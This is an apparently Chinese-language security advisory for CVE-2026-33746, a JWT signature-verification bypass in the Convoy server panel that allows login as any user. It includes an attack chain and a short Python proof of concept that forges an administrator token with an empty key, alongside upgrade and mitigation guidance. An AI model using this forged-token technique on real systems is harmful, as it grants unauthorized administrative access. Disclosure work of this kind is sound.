IPBUF安全漏洞报告
English
CVE-2026-33746 CVSS 9.8 严重

CVE-2026-33746 Convoy JWT签名绕过漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-33746
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Convoy

相关标签

认证绕过JWTConvoy权限提升

漏洞概述

Convoy是一个用于托管业务的KVM服务器管理面板。在3.9.0-beta至4.5.1之前的版本中,JWTService::decode()方法存在严重安全缺陷。虽然配置了HMAC-SHA256签名者,但在验证步骤中未包含SignedWith约束,仅验证了时间相关的声明。这意味着攻击者可以伪造或篡改JWT令牌的有效载荷,例如修改user_uuid声明,从而绕过SSO认证流程,以任意用户身份登录系统。

技术细节

该漏洞的根源在于Convoy面板使用了lcobucci/jwt库处理JSON Web Token,但在JWTService::decode()方法的实现逻辑中存在严重疏忽。开发者在代码中配置了对称HMAC-SHA256签名者,但在令牌验证阶段仅使用了StrictValidAt约束来检查令牌的过期时间、生效时间和签发时间,却遗漏了用于验证加密签名的SignedWith约束。这意味着服务端在接收JWT令牌时,虽然解析了令牌内容,但并未验证令牌是否由合法密钥签名。攻击者无需知道服务端的HMAC密钥,即可通过编码工具构造任意Payload的JWT令牌。在SSO登录流程(LoginController::authorizeToken)中,系统直接信任了解码后的令牌数据。攻击者只需将令牌中的user_uuid字段修改为目标管理员的UUID,并确保时间戳在有效范围内,即可绕过身份验证,以任意用户身份登录系统,获取最高权限。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标运行的是Convoy面板,且版本位于3.9.0-beta至4.5.1之间。
STEP 2
步骤2:令牌伪造
攻击者利用漏洞,使用任意密钥(或空密钥)生成JWT令牌,将payload中的user_uuid修改为管理员的UUID。
STEP 3
步骤3:身份验证绕过
攻击者将伪造的JWT令牌发送给LoginController::authorizeToken接口。
STEP 4
步骤4:获取权限
服务端JWTService验证时间戳通过但未验证签名,接受该令牌,攻击者成功以管理员身份登录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import time # Target user UUID to impersonate (Administrator) target_uuid = "admin-uuid-here" # Current timestamp current_time = int(time.time()) # Payload construction # The server only checks time constraints (exp, nbf, iat) payload = { "user_uuid": target_uuid, # Forge the user identity "iat": current_time, # Issued At "exp": current_time + 3600,# Expiration (1 hour later) "nbf": current_time # Not Before } # Since the server does not verify the signature (Missing SignedWith constraint), # we can sign it with any secret or an empty string. # The server's lcobucci/jwt library will skip the signature check. fake_token = jwt.encode(payload, key="", algorithm="HS256") print(f"Forged JWT Token: {fake_token}")

影响范围

Convoy >= 3.9.0-beta, < 4.5.1

防御指南

临时缓解措施
建议立即升级Convoy面板至4.5.1或更高版本。如果无法立即升级,应在WAF或反向代理层实施严格的JWT签名验证作为临时补救措施,并监控异常的登录行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表